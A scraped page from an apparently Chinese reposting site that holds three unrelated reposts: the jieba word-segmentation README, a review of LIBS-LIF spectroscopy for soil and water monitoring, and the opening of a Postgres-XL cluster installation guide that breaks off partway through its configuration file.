Rust 版本 作者:messense, MnO2 地址:https://github.com/messense/jieba-rs 结巴分词 Node.js 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/nodejieba 结巴分词 Erlang 版本 作者:falood 地址:https://github.com/falood/exjieba 结巴分词 R 版本 作者:qinwf 地址:https://github.com/qinwf/jiebaR 结巴分词 iOS 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/iosjieba 结巴分词 PHP 版本 作者:fukuball 地址:https://github.com/fukuball/jieba-php 结巴分词 .NET(C) 版本 作者:anderscui 地址:https://github.com/anderscui/jieba.NET/ 结巴分词 Go 版本 作者: wangbin 地址: https://github.com/wangbin/jiebago 作者: yanyiwu 地址: https://github.com/yanyiwu/gojieba 结巴分词Android版本 作者 Dongliang.W 地址:https://github.com/452896915/jieba-android 友情链接 https://github.com/baidu/lac 百度中文词法分析(分词+词性+专名)系统 https://github.com/baidu/AnyQ 百度FAQ自动问答系统 https://github.com/baidu/Senta 百度情感识别系统 系统集成 Solr: https://github.com/sing1ee/jieba-solr 分词速度 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode 测试环境: Intel® Core™ i7-2600 CPU @ 3.4GHz;《围城》.txt 常见问题 1. 模型的数据是如何生成的? 详见: https://github.com/fxsjy/jieba/issues/7 2. “台中”总是被切成“台 中”?(以及类似情况) P(台中) < P(台)×P(中),“台中”词频不够导致其成词概率较低 解决方法:强制调高词频 jieba.add_word('台中') 或者 jieba.suggest_freq('台中', True) 3. “今天天气 不错”应该被切成“今天 天气 不错”?(以及类似情况) 解决方法:强制调低词频 jieba.suggest_freq(('今天', '天气'), True) 或者直接删除该词 jieba.del_word('今天天气') 4. 切出了词典中没有的词语,效果不理想? 解决方法:关闭新词发现 jieba.cut('丰田太省了', HMM=False) jieba.cut('我们中出了一个叛徒', HMM=False) 更多问题请点击:https://github.com/fxsjy/jieba/issues?sort=updated&state=closed 修订历史 https://github.com/fxsjy/jieba/blob/master/Changelog jieba “Jieba” (Chinese for “to stutter”) Chinese text segmentation: built to be the best Python Chinese word segmentation module. Features Support three types of segmentation mode: Accurate Mode attempts to cut the sentence into the most accurate segmentations, which is suitable for text analysis. Full Mode gets all the possible words from the sentence. Fast but not accurate. Search Engine Mode, based on the Accurate Mode, attempts to cut long words into several short words, which can raise the recall rate. Suitable for search engines. Supports Traditional Chinese Supports customized dictionaries MIT License Online demo http://jiebademo.ap01.aws.af.cm/ (Powered by Appfog) Usage Fully automatic installation: easy_install jieba or pip install jieba Semi-automatic installation: Download http://pypi.python.org/pypi/jieba/ , run python setup.py install after extracting. Manual installation: place the jieba directory in the current directory or python site-packages directory. import jieba. Algorithm Based on a prefix dictionary structure to achieve efficient word graph scanning. Build a directed acyclic graph (DAG) for all possible word combinations. Use dynamic programming to find the most probable combination based on the word frequency. For unknown words, a HMM-based model is used with the Viterbi algorithm. Main Functions Cut The jieba.cut function accepts three input parameters: the first parameter is the string to be cut; the second parameter is cut_all, controlling the cut mode; the third parameter is to control whether to use the Hidden Markov Model. jieba.cut_for_search accepts two parameter: the string to be cut; whether to use the Hidden Markov Model. This will cut the sentence into short words suitable for search engines. The input string can be an unicode/str object, or a str/bytes object which is encoded in UTF-8 or GBK. Note that using GBK encoding is not recommended because it may be unexpectly decoded as UTF-8. jieba.cut and jieba.cut_for_search returns an generator, from which you can use a for loop to get the segmentation result (in unicode). jieba.lcut and jieba.lcut_for_search returns a list. jieba.Tokenizer(dictionary=DEFAULT_DICT) creates a new customized Tokenizer, which enables you to use different dictionaries at the same time. jieba.dt is the default Tokenizer, to which almost all global functions are mapped. Code example: segmentation encoding=utf-8import jiebaseg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 默认模式seg_list = jieba.cut("他来到了网易杭研大厦")print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) Output: [Full Mode]: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学[Accurate Mode]: 我/ 来到/ 北京/ 清华大学[Unknown Words Recognize] 他, 来到, 了, 网易, 杭研, 大厦 (In this case, "杭研" is not in the dictionary, but is identified by the Viterbi algorithm)[Search Engine Mode]: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 Add a custom dictionary Load dictionary Developers can specify their own custom dictionary to be included in the jieba default dictionary. Jieba is able to identify new words, but you can add your own new words can ensure a higher accuracy. Usage: jieba.load_userdict(file_name) file_name is a file-like object or the path of the custom dictionary The dictionary format is the same as that of dict.txt: one word per line; each line is divided into three parts separated by a space: word, word frequency, POS tag. If file_name is a path or a file opened in binary mode, the dictionary must be UTF-8 encoded. The word frequency and POS tag can be omitted respectively. The word frequency will be filled with a suitable value if omitted. For example: 创新办 3 i云计算 5凱特琳 nz台中 Change a Tokenizer’s tmp_dir and cache_file to specify the path of the cache file, for using on a restricted file system. Example: 云计算 5李小福 2创新办 3[Before]: 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 /[After]: 李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / Modify dictionary Use add_word(word, freq=None, tag=None) and del_word(word) to modify the dictionary dynamically in programs. Use suggest_freq(segment, tune=True) to adjust the frequency of a single word so that it can (or cannot) be segmented. Note that HMM may affect the final result. Example: >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 Keyword Extraction import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence: the text to be extracted topK: return how many keywords with the highest TF/IDF weights. The default value is 20 withWeight: whether return TF/IDF weights with the keywords. The default value is False allowPOS: filter words with which POSs are included. Empty for no filtering. jieba.analyse.TFIDF(idf_path=None) creates a new TFIDF instance, idf_path specifies IDF file path. Example (keyword extraction) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py Developers can specify their own custom IDF corpus in jieba keyword extraction Usage: jieba.analyse.set_idf_path(file_name) file_name is the path for the custom corpus Custom Corpus Sample:https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big Sample Code:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py Developers can specify their own custom stop words corpus in jieba keyword extraction Usage: jieba.analyse.set_stop_words(file_name) file_name is the path for the custom corpus Custom Corpus Sample:https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt Sample Code:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py There’s also a TextRank implementation available. Use: jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=('ns', 'n', 'vn', 'v')) Note that it filters POS by default. jieba.analyse.TextRank() creates a new TextRank instance. Part of Speech Tagging jieba.posseg.POSTokenizer(tokenizer=None) creates a new customized Tokenizer. tokenizer specifies the jieba.Tokenizer to internally use. jieba.posseg.dt is the default POSTokenizer. Tags the POS of each word after segmentation, using labels compatible with ictclas. Example: >>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门")>>> for w in words:... print('%s %s' % (w.word, w.flag))...我 r爱 v北京 ns天安门 ns Parallel Processing Principle: Split target text by line, assign the lines into multiple Python processes, and then merge the results, which is considerably faster. Based on the multiprocessing module of Python. Usage: jieba.enable_parallel(4) Enable parallel processing. The parameter is the number of processes. jieba.disable_parallel() Disable parallel processing. Example: https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py Result: On a four-core 3.4GHz Linux machine, do accurate word segmentation on Complete Works of Jin Yong, and the speed reaches 1MB/s, which is 3.3 times faster than the single-process version. Note that parallel processing supports only default tokenizers, jieba.dt and jieba.posseg.dt. Tokenize: return words with position The input must be unicode Default mode result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 Search mode result = jieba.tokenize(u'永和服装饰品有限公司',mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh from jieba.analyse import ChineseAnalyzer Example: https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py Command Line Interface $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. Initialization By default, Jieba don’t build the prefix dictionary unless it’s necessary. This takes 1-3 seconds, after which it is not initialized again. If you want to initialize Jieba manually, you can call: import jiebajieba.initialize() (optional) You can also specify the dictionary (not supported before version 0.28) : jieba.set_dictionary('data/dict.txt.big') Using Other Dictionaries It is possible to use your own dictionary with Jieba, and there are also two dictionaries ready for download: A smaller dictionary for a smaller memory footprint: https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small There is also a bigger dictionary that has better support for traditional Chinese (繁體): https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big By default, an in-between dictionary is used, called dict.txt and included in the distribution. In either case, download the file you want, and then call jieba.set_dictionary('data/dict.txt.big') or just replace the existing dict.txt. Segmentation speed 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode Test Env: Intel® Core™ i7-2600 CPU @ 3.4GHz;《围城》.txt 本篇文章为转载内容。原文链接:https://blog.csdn.net/yegeli/article/details/107246661。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-02 10:38:37
500
转载
转载文章
...CCD等光电转换器件连接,如图 1所示[3]。 图 1 LIBS实验装置图[3] 首先,通过脉冲激光器产生强脉冲激光后由透镜聚焦到样品上,被聚焦区域的样品吸收,产生初始自由电子,并在持续的激光脉冲作用下加速。初始自由电子获取到足够高的能量之后,会轰击原子电离产生新的自由电子。随着激光脉冲作用的持续,自由电子和原子的作用如此往复碰撞,在短时间内形成等离子体,形成烧蚀坑。接着,激光脉冲结束,等离子体温度逐渐降低,产生连续背景辐射并产生原子或离子的发射光谱。通过光谱仪采集信号,在计算机上分析特征谱线的波长和强度信息就可以对样本中的元素进行定性和定量分析[2]。 1.1.2 LIBS技术的定量分析 由文献[2]可知,LIBS技术的定量分析方法通常有外标法、内标法和自由校准法(CF)。其中,最简单方便的是外标法。 外标法由光谱分析基本定量公式Lomakin-Scheibe公式 I=aCb(1)I=aC^b \tag{1} I=aCb(1) 式中III为光谱强度,aaa为比例系数,CCC为元素浓度,bbb为自吸收系数。自吸收系数bbb会随着元素浓度CCC的减小而增大,当元素浓度CCC很小时,b=1b=1b=1。使用同组仪器测量时aaa和bbb的值为定值。 将式(1)左右两边取对数,得 lgI=blgC+lga(2)lgI=blgC+lga \tag{2} lgI=blgC+lga(2) 由式(2)可知,当b=1时,光谱强度和元素浓度呈线性关系。因此,可以通过检验一组标准样品的元素浓度和对应的光谱强度,绘制出对应的标准曲线,从而根据曲线的得到未知样品的浓度值。 如图 2 (a)(b)所示,通过使用LIBS技术多次测定一系列含有Co元素的标准样品的光谱强度后取平均可以绘制出图 2 (b)所示的校正曲线[5]。同时可以计算出曲线的相关系数R^2、交叉验证均方差(RMSECV)和样品中Co元素的检出限(LOD)。 图 2 用LIBS和LIBS-LIF技术测定有效钴元素的光谱和校准曲线[5] (a) (b)使用LIBS技术测定,(c) (d)使用LIBS-LIF技术测定 1.1.3 LIBS技术的优缺点 随着LIBS技术的提高和广泛应用,其自身独特的优势也显示出来,其主要优点主要如下[6]: (1)样品不需要进行预处理或只需要稍微预处理。 (2)样品检测时间短,相较于传统的AAS、ICP-AES等技术检测需要几分钟到几小时的时间相比,LIBS技术检测只需要3-60秒。 (3)样品的检出限LOD高,对于低浓度样品检测更加灵敏精确。 (4)实验装置结构简单,便携性高。 (5)可用于远程遥感监测 (6)对于检测样品的损伤基本没有,十分适合对于文物遗迹等方面进行应用 LIBS技术也有着自身的缺陷,其中问题最大的就是相较于传统的AAS、ICP-AES等技术来说,LIBS的检测准确性低,只有5-20%。 但LIBS还有一个优点在于很容易与其他技术如激光诱导荧光技术(Laser induced fluorescence, LIF)、拉曼光谱(Raman)等技术联用,可以弥补LIBS技术的检测准确率低的缺陷,同时结合其他技术的优势提高竞争力[7]。 1.2 LIBS-LIF技术 LIBS技术常常与LIF技术联合使用,即LIBS-LIF技术。通过LIF技术对特征曲线信号的选择性加强作用,有效的提高了检测的准确率,改善了单独使用LIBS检测准确率低的缺陷。 LIBS-LIF技术在1979年由Measures, R. M.和Kwong, H. S.首次使用,用于各种样品中微量铬元素的选择性激发。 1.2.1 LIF技术的基本原理 LIF技术,是通过激光辐射激发原子或者分子,之后被照射的原子或分子自发发射出的荧光。 首先,调节入射激光的波长,从而改变入射激光的能量。之后,当入射激光的能量与检测区域中的气态分子或原子的能级差相同时,分子或原子将被激光共振激发跃迁至激发态,但是这种激发态并不稳定,会通过自发辐射释放出另一个光子能量并向下跃迁,同时发射出分子或原子荧光,这便是激光诱导荧光。 其中,分子或原子发射荧光的跃迁过程主要有共振荧光、直越线荧光、阶跃线荧光和多光子荧光四种,如图3所示[2]。元素被激发的直跃线荧光往往强度大,散射光干扰弱,故被常用。 图 3 分子或原子发射荧光的跃迁过程[2] 1.2.2 Co原子的LIBS-LIF增强原理 下面将以Co元素为例,说明LIBS-LIF技术的原理。 Co元素直跃线荧光的产生原理图如图 4所示[5]。波长为304.40nm的激光能量刚好等于Co原子基态到高能态(4.07eV)的能级差,Co原子被304.40nm的激发照射后跃迁至该能级。随后,该能级上的Co原子通过自发辐射释放能量跃迁至低能态(0.43eV),同时发出波长为304.51nm的荧光。因此,采用LIF的激发波长为304.40nm,光谱仪对应的检测波长为304.51nm。 图 4 Co元素直跃线荧光产生原理图[5] LIBS-LIF技术的装置如图 5所示[5],与LIBS装置不同的是其增加了一台可调激光器,如染料激光器、OPO激光器等。其用于激发特定元素的被之前LIBS激发出的等离子体。该激光平行于样品表面照射,不会对样品产生损伤。 图 5 LIBS-LIF实验装置图[5] 在本次Co元素的检测中,OPO激光器的波长为304.40nm。样品首先通过脉冲激光器垂直照射后产生等离子体,原理和LIBS技术一致。之后使用OPO激光器产生的304.40nm的激光照射等离子体,激发荧光信号,增强特征谱线的强度。最后通过光谱仪采集信号,在计算机上分析特征谱线。 LIBS-LIF技术对Co原子测定的光谱和校正曲线如图 2 (c)(d)所示。通过与(a)(b)图对可得到,使用LIBS-LIF技术明显增强了Co原子的特征谱线强度,同时定量分析得到的校正曲线的相关系数R^2、交叉验证均方差(RMSECV)和样品中Co元素的检出限(LOD)数值都有很好的改善。 2. LIBS-LIF技术用于土壤监测 土壤监测是LIBS-LIF技术的最传统应用方向之一。土壤成分复杂,蕴含多种微量元素,这些元素必须维持在合理的范围内。若如铬等相关微量元素过低,则会对作物的生长产生影响;而若铅等重金属元素过高,则表明土地受到了污染,种植出的作物可能存在重金属残留的问题。 2.1 早期研究 LIBS-LIF技术用于大气压下的土壤元素检测可以最早追溯到1997年Gornushkin等人使用LIBS技术联合大气紫外线测定石墨、土壤和钢中钴元素的可行性[8],其紫外线即起到作为LIF光源的作用。 之后,为了评估该技术在现场快速检测分析中的可行性,其使用了可以同时检测分析22种元素的Paschen-Runge光谱仪以发挥LIBS技术可以快速检测多种元素的优势。同时使用染料激光器作为LIF光源,使用LIBS-LIF技术对Cd和TI元素进行了信号选择性增强测量,排除了邻近元素谱线的干扰。但是对于Pb元素还无法检测[9]。 2.2 近期研究现状 华中科技大学GAO等人在2018年对土壤中难以检测的Sb元素使用LIBS-LIF技术进行检验,排除了检验Sb元素时邻近Si元素的干扰,并探讨了使用常规LIBS时在287nm-289nm的波长下不同的ICCD延时长度对信号强度的影响,以及使用LIBS-LIF技术时作为LIF光源的OPO激光器激光能量对Sb元素特征谱线信号强度与信噪比的影响、激光光源脉冲间延时长度对Sb元素特征谱线信号强度与信噪比的影响,由相关结果得到了最优实验条件[10],如图 6至图 8所示。 图 6 不同ICCD延迟时间下样品在287.0-289.0 nm波段的光谱 图 7 LIBS-LIF和常规LIBS得到的光谱比较 图 8 Sb特征谱线的强度和信噪比曲线 (A)Sb特征谱线的强度和信噪比随OPO激光能量的变化关系;(B)Sb特征谱线的强度和信噪比随两个激光器之间脉冲延迟的变化关系 近期,该实验室研究了利用LIBS-LIF测定土壤中的有效钴含量。该实验着重于研究检测土壤中能被植物吸收的元素,即有效元素,强化研究的实际意义;利用DPTA提取样品,增大检测浓度;使用LIBS-LIF测定有效钴含量,排除了相邻元素的干扰。 3. LIBS及LIBS-LIF技术用于水质监测 LIBS及LIBS-LIF技术用于水质检测的原理和流程土壤检测基本一致,但是面临着更多的挑战。在水样的元素定量测定中,水的溅射会干扰到光的传播和收集,从而降低采集的灵敏度;由于水中羟基(OH)的猝灭作用会使得激发的等离子体寿命较短,因此等离子体的辐射强度低,进而影响分析灵敏度[2]。同时,由于部分实验方式造成使用LIBS-LIF技术不太方便,只能使用传统LIBS技术。 因此,在使用LIBS技术进行检验时还需要做相关改进。最常见的就是进行样品的预处理,在样品制备上进行改进。 由文献[11]整理可知,样品的预处理主要可以分为液体直接检测、液固转换检测、液气转换检测三种。 3.1液体直接检测 液体直接检测主要有两种方式:将光聚焦在静态液体测量和将光聚焦在流动的液体测量两种。 最早期使用LIBS技术进行检验的就是直接将光聚焦在静态液体表面测量。但其精确度和灵敏度往往比将光聚焦在流动的液体测量低。Barreda等人比较了在静态、液体喷射态和液体流动态下硅油中的铂元素使用LIBS进行检测,最后液体喷射态和液体流动态下的LOD比静态下降低了7倍[12]。 但上述实验是在有气体保护下进行的结果。总体上看,液体直接检测并不是一个很好的选择。 图 9 液体分析的三种不同实验装置图[12] a液体喷射分析,b静态液体分析,c通道流动液体分析 3.2液固转换检测 液固转换法是检测中最常用的方法,其主要可以分为以下几类: 3.2.1吸附法 吸附法是最常用的预处理方式,利用可吸附材料吸收液体中的微量元素。常用的材料有碳平板、离子交换聚合物膜,或者滤纸、竹片等将液体转换为固体,从而进行分析。 2008年,华南理工大学Chen等人以木片作为基底吸附水溶液的方式测定了Cr、Mn、Cu、Cd、Pb五种金属元素在微量浓度下的校正曲线,其检出限比激光聚焦在页面上直接分析高出2-3个数量级[13]。之后2017年,同实验室的Kang等人以木片作为基底吸附水溶液的方式,使用LIBS-LIF技术对水中的痕量铅进行了高灵敏度测量,最后得到的铅元素的LOD为~0.32ppb,超过了传统实验室检测技术ICP-AES的检测方式,为国际领先水平[14]。 3.2.2成膜法 与吸附法相反,成膜法是将水样滴在非吸水性衬底上,如Si+SiO2衬底和多空电纺超细纤维等,然后干燥成膜,从而转化为固体进行分析。 3.2.3微萃取法 微萃取法是利用萃取剂和溶液中的微量元素化学反应来实现富集。其中,分散液液体微萃取(Dispersion liquid-liquid microextraction, DLLME)是一种简单、经济、富集倍数高、萃取效率高的方法,被广泛使用。 3.2.4冷冻法 将液体冷冻成为冰是液固转化的一种直接预处理方式,冰的消融可以防止液体飞溅和摇晃,从而改善液体分析性能。 3.2.5电沉积法 电沉积法是利用电化学反应,将液体中的样品转化为固体样品并进行预浓缩,之后用于检测。该方法可以使得灵敏度大大提高,但是实验设备也变得复杂,预处理工作量也有变大。 3.3液气转换检测 将液体转化为气溶胶可以使得样品更加稳定,从而产生更稳定的检测信号。可以使用超声波雾化器和膜干燥器等产生气溶胶,再进行常规的LIBS-LIF检测。 Aras等人使用超声波雾化器和薄膜干燥器单元产生亚微米级的气溶胶,实现了液气体转换,并在实际水样上测试了该超声雾化-LIBS系统的适用性,相关实验装置如图 10、图 11所示[15]。 图 10 用于金属气溶胶分析的LIBS实验装置图[15] M:532 nm反射镜,L:聚焦准直透镜,W:石英,P:泵浦,BD:光束转储 图 11 样品导入部分结构图[15] (A)与薄膜干燥器相连的USN颗粒发生器去溶装置(加热器和冷凝器);(B)与5个武装聚四氟乙烯等离子电池相连的薄膜干燥器。G:进气口,DU:脱溶装置,W:废料,MD:薄膜干燥机,L:激光束方向,C:样品池,M:反射镜,F.L.:聚焦透镜 4. 总结与展望 本文简要介绍了LIBS和LIBS-LIF的原理,并对LIBS-LIF在环境监测中的土壤监测和水质检测做了简要的介绍和分类。 LIBS-LIF在土壤监测的技术已经逐渐成熟,基本实现了土壤的快速检测,同时也有相关便携式设备的研究正在进行。对于水质监测方面,使用LIBS-LIF检测往往集中在液固转换法的使用上,对于气体和液体直接检测,由于部分实验装置的限制,联用LIF技术往往比较困难,只能使用传统的LIBS技术。 LIBS-LIF技术快速检测、不需要样品预处理或只需要简单处理、可以实现就地检测等优势与传统实验室检测相比有着独到的优势,虽然目前由于技术限制精度还不够高,但是在当前该领域的火热研究趋势下,相信未来该技术必定可以大放异彩,为绿色中国奉献光学领域的智慧。 参考文献 [1] Hu B, Jia X, Hu J, et al.Assessment of Heavy Metal Pollution and Health Risks in the Soil-Plant-Human System in the Yangtze River Delta, China[J].International Journal of Environmental Research and Public Health,2017, 14 (9): 1042. [2] 康娟. 基于激光剥离的物质元素高分辨高灵敏分析的新技术研究[D]. 华南理工大学,2020. [3] 马菲, 周健民, 杜昌文.激光诱导击穿原子光谱在土壤分析中的应用[J].土壤学报: 1-11. [4] Gaudiuso R, Dell'aglio M, De Pascale O, et al.Laser Induced Breakdown Spectroscopy for Elemental Analysis in Environmental, Cultural Heritage and Space Applications: A Review of Methods and Results[J].Sensors,2010, 10 (8): 7434-7468. [5] Zhou R, Liu K, Tang Z, et al.High-sensitivity determination of available cobalt in soil using laser-induced breakdown spectroscopy assisted with laser-induced fluorescence[J].Applied Optics,2021, 60 (29): 9062-9066. [6] Hussain Shah S K, Iqbal J, Ahmad P, et al.Laser induced breakdown spectroscopy methods and applications: A comprehensive review[J].Radiation Physics and Chemistry,2020, 170. [7] V S D, George S D, Kartha V B, et al.Hybrid LIBS-Raman-LIF systems for multi-modal spectroscopic applications: a topical review[J].Applied Spectroscopy Reviews,2020, 56 (6): 1-29. [8] Gornushkin I B, Kim J E, Smith B W, et al.Determination of Cobalt in Soil, Steel, and Graphite Using Excited-State Laser Fluorescence Induced in a Laser Spark[J].Applied Spectroscopy,1997, 51 (7): 1055-1059. [9] Hilbk-Kortenbruck F, Noll R, Wintjens P, et al.Analysis of heavy metals in soils using laser-induced breakdown spectrometry combined with laser-induced fluorescence[J].Spectrochimica Acta Part B-Atomic Spectroscopy,2001, 56 (6): 933-945. [10] Gao P, Yang P, Zhou R, et al.Determination of antimony in soil using laser-induced breakdown spectroscopy assisted with laser-induced fluorescence[J].Appl Opt,2018, 57 (30): 8942-8946. [11] Zhang Y, Zhang T, Li H.Application of laser-induced breakdown spectroscopy (LIBS) in environmental monitoring[J].Spectrochimica Acta Part B: Atomic Spectroscopy,2021, 181: 106218. [12] Barreda F A, Trichard F, Barbier S, et al.Fast quantitative determination of platinum in liquid samples by laser-induced breakdown spectroscopy[J].Anal Bioanal Chem,2012, 403 (9): 2601-10. [13] Chen Z, Li H, Liu M, et al.Fast and sensitive trace metal analysis in aqueous solutions by laser-induced breakdown spectroscopy using wood slice substrates[J].Spectrochimica Acta Part B: Atomic Spectroscopy,2008, 63 (1): 64-68. [14] Kang J, Li R, Wang Y, et al.Ultrasensitive detection of trace amounts of lead in water by LIBS-LIF using a wood-slice substrate as a water absorber[J].Journal of Analytical Atomic Spectrometry,2017, 32 (11): 2292-2299. [15] Aras N, Yeşiller S Ü, Ateş D A, et al.Ultrasonic nebulization-sample introduction system for quantitative analysis of liquid samples by laser-induced breakdown spectroscopy[J].Spectrochimica Acta Part B: Atomic Spectroscopy,2012, 74-75: 87-94. 本篇文章为转载内容。原文链接:https://blog.csdn.net/yyyyang666/article/details/129210164。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-08-13 12:41:47
360
转载
转载文章
...zlib选项来禁用 配置hosts 所有主机上都配置 [root@xl2 11] cat /etc/hosts127.0.0.1 localhost192.168.20.132 gtm192.168.20.133 xl1192.168.20.134 xl2 关闭防火墙、Selinux 所有主机都执行 关闭防火墙: [root@gtm ~] systemctl stop firewalld.service[root@gtm ~] systemctl disable firewalld.service selinux设置: [root@gtm ~]vim /etc/selinux/config 设置SELINUX=disabled,保存退出。 This file controls the state of SELinux on the system. SELINUX= can take one of these three values: enforcing - SELinux security policy is enforced. permissive - SELinux prints warnings instead of enforcing. disabled - No SELinux policy is loaded.SELINUX=disabled SELINUXTYPE= can take one of three two values: targeted - Targeted processes are protected, minimum - Modification of targeted policy. Only selected processes are protected. mls - Multi Level Security protection. 安装依赖包 所有主机上都执行 yum install -y flex bison readline-devel zlib-devel openjade docbook-style-dsssl gcc 创建用户 所有主机上都执行 [root@gtm ~] useradd postgres[root@gtm ~] passwd postgres[root@gtm ~] su - postgres[root@gtm ~] mkdir ~/.ssh[root@gtm ~] chmod 700 ~/.ssh 配置SSH免密登录 仅仅在gtm节点配置如下操作: [root@gtm ~] su - postgres[postgres@gtm ~] ssh-keygen -t rsa[postgres@gtm ~] cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys[postgres@gtm ~] chmod 600 ~/.ssh/authorized_keys 将刚生成的认证文件拷贝到xl1到xl2中,使得gtm节点可以免密码登录xl1~xl2的任意一个节点: [postgres@gtm ~] scp ~/.ssh/authorized_keys postgres@xl1:~/.ssh/[postgres@gtm ~] scp ~/.ssh/authorized_keys postgres@xl2:~/.ssh/ 对所有提示都不要输入,直接enter下一步。直到最后,因为第一次要求输入目标机器的用户密码,输入即可。 下载源码 下载地址:https://www.postgres-xl.org/download/ [root@slave ~] ll postgres-xl-10r1.1.tar.gz-rw-r--r-- 1 root root 28121666 May 30 05:21 postgres-xl-10r1.1.tar.gz 编译、安装Postgres-XL 所有节点都安装,编译需要一点时间,最好同时进行编译。 [root@slave ~] tar xvf postgres-xl-10r1.1.tar.gz[root@slave ~] ./configure --prefix=/home/postgres/pgxl/[root@slave ~] make[root@slave ~] make install[root@slave ~] cd contrib/ --安装必要的工具,在gtm节点上安装即可[root@slave ~] make[root@slave ~] make install 配置环境变量 所有节点都要配置 进入postgres用户,修改其环境变量,开始编辑 [root@gtm ~]su - postgres[postgres@gtm ~]vi .bashrc --不是.bash_profile 在打开的文件末尾,新增如下变量配置: export PGHOME=/home/postgres/pgxlexport LD_LIBRARY_PATH=$PGHOME/lib:$LD_LIBRARY_PATHexport PATH=$PGHOME/bin:$PATH 按住esc,然后输入:wq!保存退出。输入以下命令对更改重启生效。 [postgres@gtm ~] source .bashrc --不是.bash_profile 输入以下语句,如果输出变量结果,代表生效 [postgres@gtm ~] echo $PGHOME 应该输出/home/postgres/pgxl代表生效 配置集群 生成pgxc_ctl.conf配置文件 [postgres@gtm ~] pgxc_ctl prepare/bin/bashInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.ERROR: File "/home/postgres/pgxl/pgxc_ctl/pgxc_ctl.conf" not found or not a regular file. No such file or directoryInstalling pgxc_ctl_bash script as /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxl/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxl/pgxc_ctl --configuration /home/postgres/pgxl/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxl/pgxc_ctl 配置pgxc_ctl.conf 新建/home/postgres/pgxc_ctl/pgxc_ctl.conf文件,编辑如下: 对着模板文件一个一个修改,否则会造成初始化过程出现各种神奇问题。 pgxcInstallDir=$PGHOMEpgxlDATA=$PGHOME/data pgxcOwner=postgres---- GTM Master -----------------------------------------gtmName=gtmgtmMasterServer=gtmgtmMasterPort=6666gtmMasterDir=$pgxlDATA/nodes/gtmgtmSlave=y Specify y if you configure GTM Slave. Otherwise, GTM slave will not be configured and all the following variables will be reset.gtmSlaveName=gtmSlavegtmSlaveServer=gtm value none means GTM slave is not available. Give none if you don't configure GTM Slave.gtmSlavePort=20001 Not used if you don't configure GTM slave.gtmSlaveDir=$pgxlDATA/nodes/gtmSlave Not used if you don't configure GTM slave.---- GTM-Proxy Master 